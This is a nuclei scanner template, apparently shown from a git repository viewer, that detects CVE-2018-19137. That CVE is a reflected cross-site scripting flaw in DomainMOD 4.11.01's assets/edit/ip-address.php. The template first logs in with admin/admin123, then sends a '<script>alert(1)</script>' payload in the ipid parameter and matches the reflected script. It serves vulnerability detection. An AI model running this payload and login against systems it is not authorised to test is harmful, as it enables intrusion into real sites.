nuclei-templates/cves/2018/CVE-2018-19137.yaml

50 lines
1.2 KiB
YAML
Raw Normal View History

2022-07-11 19:38:28 +00:00
id: CVE-2018-19137
info:
name: DomainMOD 4.11.01 - 'assets/edit/ip-address.php' Reflected Cross-Site Scripting
author: arafatansari
severity: medium
description: |
DomainMOD 4.11.01 is vulnerable to Reflected Cross Site Scripting (rXSS) via assets/edit/ip-address.php.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2018-19137
- https://github.com/domainmod/domainmod/issues/79
metadata:
verified: true
tags: domainmod,xss
requests:
- raw:
- |
POST /domain/ HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
new_username=admin&new_password=admin123
- |
GET /domain/assets/edit/ip-address.php?ipid=%22%3E%3Cscript%3Ealert(1)%3C/script%3E&del=1 HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
cookie-reuse: true
matchers-condition: and
max-redirects: 3
matchers:
- type: word
part: body
words:
- "<script>alert(1)</script>"
- type: word
part: header
words:
- text/html
- type: status
status:
- 200